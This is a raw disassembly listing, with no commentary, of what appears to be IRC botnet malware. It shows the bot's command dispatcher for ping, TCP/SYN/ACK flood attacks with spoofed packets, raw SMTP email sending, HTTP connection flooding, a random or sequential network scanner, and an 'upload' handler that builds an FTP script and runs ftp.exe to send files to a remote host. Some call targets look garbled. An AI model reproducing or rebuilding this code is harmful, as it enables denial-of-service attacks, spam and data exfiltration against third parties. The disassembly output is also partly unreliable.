push [ebp+arg_8]
push offset aU ; "u"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40714F
push [ebp+arg_8]
push offset aNetsend ; "netsend"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407041
push [ebp+arg_8]
push offset aNs ; "ns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407041
push [ebp+arg_8]
push offset aPingflood ; "pingflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406F17
push [ebp+arg_8]
push offset aPing_0 ; "ping"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406F17
push [ebp+arg_8]
push offset aP ; "p"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406F17
push [ebp+arg_8]
push offset aTcpflood ; "tcpflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406D6E
push [ebp+arg_8]
push offset aTcp ; "tcp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406D6E
push [ebp+arg_8]
push offset aEmail ; "email"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_406D16
push [ebp+arg_10]
lea eax, [ebp+var_47EC]
push eax
call sub_41BEB0
push edi
call sub_41B779
push [ebp+arg_0]
mov [ebp+arg_10], eax
lea eax, [ebp+var_4188]
push eax
call sub_41BEB0
push [ebp+arg_18]
lea eax, [ebp+var_4588]
push eax
call sub_41BEB0
push offset asc_42CA2C ; " "
push offset dword_42B4FC
push [ebp+esi+var_7C]
call sub_417EEE
push eax
lea eax, [ebp+var_4288]
push eax
call sub_41BEB0
add esp, 30h
lea eax, [ebp+var_5588]
push eax
push 101h
call dword_4CAEE4
lea eax, [ebp+var_47EC]
push eax
call dword_4CAFF8
push 6
push 1
push 2
mov edi, eax
call dword_4CAFF4
push [ebp+arg_10]
mov esi, eax
mov [ebp+var_31C], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_318], eax
call dword_4CAF74
mov [ebp+var_31A], ax
lea eax, [ebp+var_4288]
push eax
lea eax, [ebp+var_4188]
push eax
lea eax, [ebp+var_4288]
push eax
lea eax, [ebp+var_4588]
push eax
lea eax, [ebp+var_4188]
push eax
lea eax, [ebp+var_5988]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_41B886
add esp, 1Ch
lea eax, [ebp+var_31C]
push 10h
push eax
push esi
call dword_4CAF1C
mov edi, 100h
push ebx
lea eax, [ebp+var_4088]
push edi
push eax
push esi
call dword_4CAF8C
lea eax, [ebp+var_4088]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_5988]
push eax
push esi
call dword_4CAFC4
push ebx
lea eax, [ebp+var_4088]
push edi
push eax
push esi
call dword_4CAF8C
push esi
call dword_4CB00C
call dword_4CAECC
lea eax, [ebp+var_4588]
push eax
push offset unk_42A9CC
loc_406CCF: ; CODE XREF: sub_401ACD+2E82j
; sub_401ACD+4666j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
loc_406CDB: ; CODE XREF: sub_401ACD+248Bj
add esp, 0Ch
loc_406CDE: ; CODE XREF: sub_401ACD+4584j
; sub_401ACD+6653j ...
cmp [ebp+var_8], ebx
jnz short loc_406CFF
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_406CFF: ; CODE XREF: sub_401ACD+29B2j
; sub_401ACD+2A05j ...
mov esi, [ebp+arg_24]
loc_406D02: ; CODE XREF: sub_401ACD+68F2j
; sub_401ACD+78E2j ...
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
pop ecx
mov eax, esi
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_406D16: ; CODE XREF: sub_401ACD+50ACj
push [ebp+arg_8]
push offset aHttpcon ; "httpcon"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_406D40
push [ebp+arg_8]
push offset aHcon ; "hcon"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4072E8
loc_406D40: ; CODE XREF: sub_401ACD+525Aj
push [ebp+esi+var_7C]
push [ebp+arg_18]
push [ebp+arg_0]
push edi
call sub_41B779
pop ecx
push eax
push [ebp+arg_10]
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4100DB
jmp loc_4040AA
; ---------------------------------------------------------------------------
loc_406D6E: ; CODE XREF: sub_401ACD+507Ej
; sub_401ACD+5095j
push [ebp+arg_10]
mov esi, 80h
lea eax, [ebp+var_1354]
push esi
push eax
call sub_41B980
lea eax, [ebp+var_1354]
push eax
push offset aSyn ; "syn"
call sub_41C070
add esp, 14h
test eax, eax
jz short loc_406DD3
lea eax, [ebp+var_1354]
push eax
push offset aAck ; "ack"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_406DD3
lea eax, [ebp+var_1354]
push eax
push offset aRandom_0 ; "random"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_406DD3
push offset unk_42A984
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_406DD3: ; CODE XREF: sub_401ACD+52CCj
; sub_401ACD+52E3j ...
push [ebp+arg_18]
call sub_41B779
cmp eax, ebx
pop ecx
mov [ebp+var_124C], eax
jle loc_406EFF
push [ebp+arg_10]
lea eax, [ebp+var_1354]
push esi
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_13D4]
push edi
push esi
push eax
call sub_41B980
push [ebp+arg_0]
call sub_41B779
mov [ebp+var_1250], eax
add esp, 10h
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1248], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13D8], eax
lea eax, [ebp+var_12D4]
push esi
push eax
call sub_41B980
mov eax, [ebp+var_4]
add esp, 0Ch
cmp [ebp+var_1248], ebx
mov [ebp+var_1244], eax
mov eax, [ebp+var_8]
mov [ebp+var_1240], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_406E70
mov eax, offset aNormal ; "Normal"
loc_406E70: ; CODE XREF: sub_401ACD+539Cj
push [ebp+arg_18]
push [ebp+arg_0]
push edi
push [ebp+arg_10]
push eax
push offset unk_42A940
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 14h
push eax
call sub_40B0F6
add esp, 2Ch
mov [ebp+var_1254], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_13D8]
push ebx
push eax
push offset byte_413E35
push ebx
push ebx
call near ptr 267042Eh
nop
mov ecx, [ebp+var_1254]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_406EEE
loc_406ED8: ; CODE XREF: sub_401ACD+541Fj
cmp [ebp+var_123C], ebx
jnz loc_40828B
push 32h
nop
call near ptr 26703BBh
jmp short loc_406ED8
; ---------------------------------------------------------------------------
loc_406EEE: ; CODE XREF: sub_401ACD+5409j
nop
call near ptr 2670D70h
push eax
push offset unk_42A908
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_406EFF: ; CODE XREF: sub_401ACD+5317j
push offset unk_42A8D0
loc_406F04: ; CODE XREF: sub_401ACD+2018j
; sub_401ACD+202Ej ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_40828B
; ---------------------------------------------------------------------------
loc_406F17: ; CODE XREF: sub_401ACD+5039j
; sub_401ACD+5050j ...
cmp dword_4CB064, ebx
jnz loc_407026
mov eax, [ebp+var_8]
push 7Fh
push [ebp+arg_10]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_4]
mov [ebp+var_FF8], eax
lea eax, [ebp+var_108C]
push eax
call sub_41B5F0
push edi
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_100C], eax
call sub_41B779
push [ebp+arg_18]
mov [ebp+var_1008], eax
call sub_41B779
push 7Fh
mov [ebp+var_1004], eax
push [ebp+var_88]
lea eax, [ebp+var_110C]
push eax
call sub_41B5F0
mov eax, [ebp+arg_4]
add esp, 24h
mov [ebp+var_1110], eax
lea eax, [ebp+var_108C]
push [ebp+var_1004]
push [ebp+var_1008]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_100C]
push offset unk_42A888
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 16h
push eax
call sub_40B0F6
add esp, 24h
mov [ebp+var_FFC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1110]
push ebx
push eax
push offset dword_413284
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_FFC]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_407015
loc_406FFF: ; CODE XREF: sub_401ACD+5546j
cmp [ebp+var_FF0], ebx
jnz loc_40828B
push 32h
call near ptr 26703BBh
nop
jmp short loc_406FFF
; ---------------------------------------------------------------------------
loc_407015: ; CODE XREF: sub_401ACD+5530j
nop
call near ptr 2670D70h
push eax
push offset unk_42A850
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_407026: ; CODE XREF: sub_401ACD+5450j
push 1FFh
lea eax, [ebp+var_2C4]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_41B5F0
jmp loc_408288
; ---------------------------------------------------------------------------
loc_407041: ; CODE XREF: sub_401ACD+500Bj
; sub_401ACD+5022j
push edi
lea eax, [ebp+var_2C4]
push [ebp+arg_10]
push [ebp+arg_0]
push offset unk_42A7FC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
push [ebp+arg_0]
call sub_41AFE0
mov edx, eax
push edi
mov edi, edx
call sub_41AFE0
push [ebp+arg_10]
add edi, eax
call sub_41AFE0
push [ebp+arg_8]
add edi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+edi+7]
push eax
call sub_41B900
add esp, 40h
mov [ebp+arg_C], eax
push [ebp+arg_0]
call sub_41B779
mov edi, [ebp+arg_1C]
cmp eax, ebx
pop ecx
mov [ebp+arg_14], eax
mov [ebp+arg_20], ebx
jle short loc_40713B
loc_4070C4: ; CODE XREF: sub_401ACD+561Bj
push [ebp+arg_C]
push edi
push [ebp+arg_10]
call sub_4185A4
add esp, 0Ch
cmp eax, 1
mov [ebp+arg_1C], eax
jz short loc_4070EC
cmp eax, ebx
jnz short loc_40710B
inc [ebp+arg_20]
mov eax, [ebp+arg_20]
cmp eax, [ebp+arg_14]
jl short loc_4070C4
jmp short loc_407144
; ---------------------------------------------------------------------------
loc_4070EC: ; CODE XREF: sub_401ACD+560Cj
push ebx
push [ebp+var_4]
push offset unk_42A7C4
loc_4070F5: ; CODE XREF: sub_401ACD+5680j
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
jmp loc_4072E8
; ---------------------------------------------------------------------------
loc_40710B: ; CODE XREF: sub_401ACD+5610j
push [ebp+arg_1C]
lea eax, [ebp+var_2C4]
push offset unk_42A790
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 20h
loc_40713B: ; CODE XREF: sub_401ACD+55F5j
cmp [ebp+arg_1C], ebx
jnz loc_4072E8
loc_407144: ; CODE XREF: sub_401ACD+561Dj
push ebx
push [ebp+var_4]
push offset unk_42A75C
jmp short loc_4070F5
; ---------------------------------------------------------------------------
loc_40714F: ; CODE XREF: sub_401ACD+4FC6j
; sub_401ACD+4FDDj ...
mov eax, [ebp+var_8]
push 7Fh
push [ebp+arg_10]
mov [ebp+var_C64], eax
mov eax, [ebp+var_4]
mov [ebp+var_C68], eax
lea eax, [ebp+var_CFC]
push eax
call sub_41B5F0
push edi
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_C7C], eax
call sub_41B779
push [ebp+arg_18]
mov [ebp+var_C78], eax
call sub_41B779
mov esi, [ebp+esi+var_7C]
add esp, 18h
cmp esi, ebx
mov [ebp+var_C74], eax
jz short loc_4071B4
push esi
call sub_41B779
pop ecx
mov [ebp+var_C70], eax
jmp short loc_4071BA
; ---------------------------------------------------------------------------
loc_4071B4: ; CODE XREF: sub_401ACD+56D6j
mov [ebp+var_C70], ebx
loc_4071BA: ; CODE XREF: sub_401ACD+56E5j
push 7Fh
lea eax, [ebp+var_D7C]
push [ebp+var_88]
push eax
call sub_41B5F0
add esp, 0Ch
mov esi, [ebp+arg_4]
lea eax, [ebp+var_CFC]
mov [ebp+var_D80], esi
push [ebp+var_C74]
push [ebp+var_C78]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_C7C]
push offset unk_42A714
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 17h
push eax
call sub_40B0F6
add esp, 24h
mov [ebp+var_C6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_D80]
push ebx
push eax
push offset dword_413410
push ebx
push ebx
call near ptr 267042Eh
nop
mov ecx, [ebp+var_C6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40725D
loc_40724B: ; CODE XREF: sub_401ACD+578Ej
cmp [ebp+var_C60], ebx
jnz short loc_407278
push 32h
call near ptr 26703BBh
nop
jmp short loc_40724B
; ---------------------------------------------------------------------------
loc_40725D: ; CODE XREF: sub_401ACD+577Cj
call near ptr 2670D70h
nop
push eax
push offset unk_42A6DC
loc_407269: ; CODE XREF: sub_401ACD+4E31j
; sub_401ACD+62BEj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_407278: ; CODE XREF: sub_401ACD+4E15j
; sub_401ACD+5784j ...
cmp [ebp+var_8], ebx
jnz loc_4083BC
push ebx
push [ebp+var_4]
loc_407285: ; CODE XREF: sub_401ACD+22DEj
lea eax, [ebp+var_2C4]
push eax
push [ebp+var_88]
push esi
jmp loc_4082A8
; ---------------------------------------------------------------------------
loc_407298: ; CODE XREF: sub_401ACD+4F98j
; sub_401ACD+4FAFj
push 0Bh
call sub_40B33E
push edi
mov [ebp+arg_1C], eax
call sub_41B779
add eax, [ebp+arg_1C]
pop ecx
pop ecx
cmp eax, 1F4h
jle loc_407454
push [ebp+arg_1C]
lea eax, [ebp+var_2C4]
push offset unk_42A69C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 20h
loc_4072E8: ; CODE XREF: sub_401ACD+526Dj
; sub_401ACD+5639j ...
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz loc_401E94
push [ebp+arg_8]
push offset aUpload ; "upload"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_409854
push 4
push esi
call sub_416908
pop ecx
test eax, eax
pop ecx
jnz short loc_407324
push esi
push offset unk_42A674
jmp loc_408CDB
; ---------------------------------------------------------------------------
loc_407324: ; CODE XREF: sub_401ACD+584Aj
call near ptr 2680CBAh
nop
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_41B8E2
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_51F8]
push edx
push eax
lea eax, [ebp+var_2E58]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_41B886
lea eax, [ebp+var_2E58]
push offset aAb ; "ab"
push eax
call sub_41B4C2
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_401E94
push esi
push [ebp+arg_18]
push [ebp+arg_0]
push edi
push [ebp+arg_10]
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_41BE06
push [ebp+arg_24]
call sub_41B05B
add esp, 20h
lea eax, [ebp+var_2E58]
push eax
lea eax, [ebp+var_4CF0]
push offset aSS_2 ; "-s:%s"
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_4CF0]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_4CAEE0
push [ebp+arg_10]
test eax, eax
push esi
jz short loc_4073F3
push offset unk_42A604
jmp short loc_4073F8
; ---------------------------------------------------------------------------
loc_4073F3: ; CODE XREF: sub_401ACD+591Dj
push offset unk_42A5D4
loc_4073F8: ; CODE XREF: sub_401ACD+5924j
call sub_41B886
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_407421
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_407421: ; CODE XREF: sub_401ACD+5936j
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
loc_40742D: ; CODE XREF: sub_401ACD+5985j
lea eax, [ebp+var_2E58]
push 4
push eax
call sub_416908
add esp, 0Ch
test eax, eax
jz loc_401E94
lea eax, [ebp+var_2E58]
push eax
call sub_41BDDC
jmp short loc_40742D
; ---------------------------------------------------------------------------
loc_407454: ; CODE XREF: sub_401ACD+57E5j
push [ebp+arg_10]
call sub_41B779
push edi
mov [ebp+var_370], eax
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_358], eax
call sub_41B779
add esp, 0Ch
cmp eax, 5
mov [ebp+var_36C], eax
jnb short loc_40748D
push 5
pop eax
mov [ebp+var_36C], eax
loc_40748D: ; CODE XREF: sub_401ACD+59B5j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_40749A
mov [ebp+var_36C], ecx
loc_40749A: ; CODE XREF: sub_401ACD+59C5j
push [ebp+arg_18]
call sub_41B779
mov [ebp+var_368], eax
mov eax, 320h
cmp [ebp+var_368], eax
pop ecx
jbe short loc_4074BC
mov [ebp+var_368], eax
loc_4074BC: ; CODE XREF: sub_401ACD+59E7j
or [ebp+var_354], 0FFFFFFFFh
cmp dword_431408, ebx
mov [ebp+arg_20], ebx
jz short loc_40750B
mov edi, offset dword_431408
loc_4074D3: ; CODE XREF: sub_401ACD+5A20j
push [ebp+arg_10]
lea eax, [edi-28h]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4074F1
inc [ebp+arg_20]
add edi, 40h
cmp [edi], ebx
jnz short loc_4074D3
jmp short loc_40750B
; ---------------------------------------------------------------------------
loc_4074F1: ; CODE XREF: sub_401ACD+5A16j
mov eax, [ebp+arg_20]
mov ecx, eax
mov [ebp+var_354], eax
shl ecx, 6
mov ecx, dword_431408[ecx]
mov [ebp+var_370], ecx
loc_40750B: ; CODE XREF: sub_401ACD+59FFj
; sub_401ACD+5A22j
cmp [ebp+var_370], ebx
jnz short loc_40751D
push offset unk_42A5A0
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_40751D: ; CODE XREF: sub_401ACD+5A44j
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
mov [ebp+arg_0], edi
jz short loc_407558
cmp byte ptr [edi], 23h
jz short loc_407558
push edi
lea eax, [ebp+var_484]
push 10h
push eax
call sub_41B980
push 78h
push edi
call sub_41BFB0
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_344], eax
jmp loc_407632
; ---------------------------------------------------------------------------
loc_407558: ; CODE XREF: sub_401ACD+5A59j
; sub_401ACD+5A5Ej
cmp [ebp+var_8FF], bl
jnz short loc_40757A
cmp [ebp+var_8FE], bl
jnz short loc_40757A
cmp [ebp+var_8EE], bl
jnz short loc_40757A
push offset unk_42A56C
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_40757A: ; CODE XREF: sub_401ACD+5A91j
; sub_401ACD+5A99j ...
push 10h
lea eax, [ebp+var_2D0]
pop edi
push eax
lea eax, [ebp+var_2F8]
push eax
mov [ebp+var_2D0], edi
push [ebp+arg_4]
call dword_4CAF18
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2F4], eax
push [ebp+var_2F4]
call dword_4CB000
push eax
lea eax, [ebp+var_484]
push eax
call sub_41B5F0
add esp, 0Ch
cmp [ebp+var_8EE], bl
jz short loc_40762C
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_484]
push eax
call sub_41BE40
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_407620
loc_4075FE: ; CODE XREF: sub_401ACD+5B51j
cmp eax, ebx
jz short loc_407620
mov byte ptr [eax], 78h
lea eax, [ebp+var_484]
push 30h
push eax
call sub_41BE40
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_4075FE
loc_407620: ; CODE XREF: sub_401ACD+5B2Fj
; sub_401ACD+5B33j
mov [ebp+var_344], 1
jmp short loc_407632
; ---------------------------------------------------------------------------
loc_40762C: ; CODE XREF: sub_401ACD+5B09j
mov [ebp+var_344], ebx
loc_407632: ; CODE XREF: sub_401ACD+5A86j
; sub_401ACD+5B5Dj
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_374], eax
mov eax, [ebp+var_4]
mov [ebp+var_34C], eax
mov eax, [ebp+var_8]
mov [ebp+var_348], eax
mov edi, 80h
lea eax, [ebp+var_474]
push edi
push eax
call sub_41B980
mov esi, [ebp+esi+var_78]
add esp, 0Ch
cmp esi, ebx
jz short loc_407683
loc_407670: ; CODE XREF: sub_401ACD+5BD9j
push esi
loc_407671: ; CODE XREF: sub_401ACD+5BC3j
lea eax, [ebp+var_3F4]
push edi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_4076AE
; ---------------------------------------------------------------------------
loc_407683: ; CODE XREF: sub_401ACD+5BA1j
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_407692
cmp byte ptr [eax], 23h
jnz short loc_407692
push eax
jmp short loc_407671
; ---------------------------------------------------------------------------
loc_407692: ; CODE XREF: sub_401ACD+5BBBj
; sub_401ACD+5BC0j
mov esi, offset aF ; "#f"
push offset dword_43D128
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_407670
mov [ebp+var_3F4], bl
loc_4076AE: ; CODE XREF: sub_401ACD+5BB4j
cmp [ebp+var_344], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4076C0
mov eax, offset aSequential ; "Sequential"
loc_4076C0: ; CODE XREF: sub_401ACD+5BECj
push [ebp+var_358]
lea ecx, [ebp+var_484]
push [ebp+var_368]
push [ebp+var_36C]
push [ebp+var_370]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A504
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F6
add esp, 2Ch
mov [ebp+var_364], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_484]
push ebx
push eax
push offset loc_40C33C
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_364]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40774E
loc_407738: ; CODE XREF: sub_401ACD+5C7Fj
cmp [ebp+var_340], ebx
jnz loc_40828B
push 32h
nop
call near ptr 26703BBh
jmp short loc_407738
; ---------------------------------------------------------------------------
loc_40774E: ; CODE XREF: sub_401ACD+5C69j
nop
call near ptr 2670D70h
push eax
push offset unk_42A4CC
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_40775F: ; CODE XREF: sub_401ACD+4F6Aj
; sub_401ACD+4F81j
push [ebp+arg_10]
call sub_40AAF9
push edi
mov [ebp+var_4E0], eax
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_4F0], eax
call sub_41B779
push [ebp+arg_18]
mov [ebp+var_4EC], eax
call sub_41B779
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_4E8], eax
lea eax, [ebp+var_570]
mov [ebp+var_574], esi
push eax
call sub_41B5F0
add esp, 1Ch
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_4D8], edi
push [ebp+var_4EC]
mov [ebp+var_4D4], eax
push [ebp+var_4F0]
push [ebp+var_4E8]
push [ebp+var_4E0]
call dword_4CB000
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A47C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F6
add esp, 24h
mov [ebp+var_4E4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_574]
push ebx
push eax
push offset byte_40C759
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_4E4]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_407854
loc_40783E: ; CODE XREF: sub_401ACD+5D85j
cmp [ebp+var_4D0], ebx
jnz loc_403DA0
push 32h
nop
call near ptr 26703BBh
jmp short loc_40783E
; ---------------------------------------------------------------------------
loc_407854: ; CODE XREF: sub_401ACD+5D6Fj
nop
call near ptr 2670D70h
push eax
push offset unk_42A440
jmp loc_403D91
; ---------------------------------------------------------------------------
loc_407865: ; CODE XREF: sub_401ACD+4F2Dj
; sub_401ACD+4F44j
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
cmp byte_43DEC8[eax], bl
jz loc_409854
cmp [ebp+var_C], ebx
jz loc_409854
push edi
call sub_41AFE0
push [ebp+arg_10]
mov esi, eax
call sub_41AFE0
push [ebp+arg_8]
add esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41B900
add esp, 14h
mov esi, eax
lea eax, [ebp+var_2C4]
push esi
push offset dword_42A434
push eax
call sub_41B886
add esp, 0Ch
cmp esi, ebx
jz loc_409854
push [ebp+arg_10]
call sub_41B779
test eax, eax
pop ecx
jle loc_409854
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push edi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call sub_409A72
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43DCB0[eax], 73h
jnz loc_409854
push esi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
add eax, offset byte_43DEC8
push eax
push edi
push offset aSSS_2 ; "[%s] * %s %s"
jmp loc_407A35
; ---------------------------------------------------------------------------
loc_40795D: ; CODE XREF: sub_401ACD+4EFFj
; sub_401ACD+4F16j
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
cmp byte_43DEC8[eax], bl
jz loc_409854
cmp [ebp+var_C], ebx
jz loc_409854
push edi
call sub_41AFE0
push [ebp+arg_10]
mov esi, eax
call sub_41AFE0
push [ebp+arg_8]
add esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41B900
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_409854
push [ebp+arg_10]
call sub_41B779
test eax, eax
pop ecx
jle loc_409854
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
push ebx
push ebx
push esi
push edi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call sub_409A72
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43DCB0[eax], 73h
jnz loc_409854
push esi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
add eax, offset byte_43DEC8
push eax
push edi
push offset aSSS_1 ; "[%s] <%s> %s"
loc_407A35: ; CODE XREF: sub_401ACD+5E8Bj
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 28h
jmp loc_409854
; ---------------------------------------------------------------------------
loc_407A62: ; CODE XREF: sub_401ACD+4ED1j
; sub_401ACD+4EE8j
push [ebp+arg_10]
call dword_4CAFB4
push edi
mov [ebp+var_680], eax
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_690], eax
call sub_41B779
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_688], eax
lea eax, [ebp+var_710]
mov [ebp+var_714], esi
push eax
call sub_41B5F0
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_678], edi
push [ebp+var_688]
mov [ebp+var_674], eax
push [ebp+var_690]
push [ebp+var_680]
call dword_4CB000
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A3D8
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_684], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_714]
push ebx
push eax
push offset dword_40C668
push ebx
push ebx
call near ptr 267042Eh
nop
mov ecx, [ebp+var_684]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_407B44
loc_407B2E: ; CODE XREF: sub_401ACD+6075j
cmp [ebp+var_670], ebx
jnz loc_403DA0
push 32h
nop
call near ptr 26703BBh
jmp short loc_407B2E
; ---------------------------------------------------------------------------
loc_407B44: ; CODE XREF: sub_401ACD+605Fj
nop
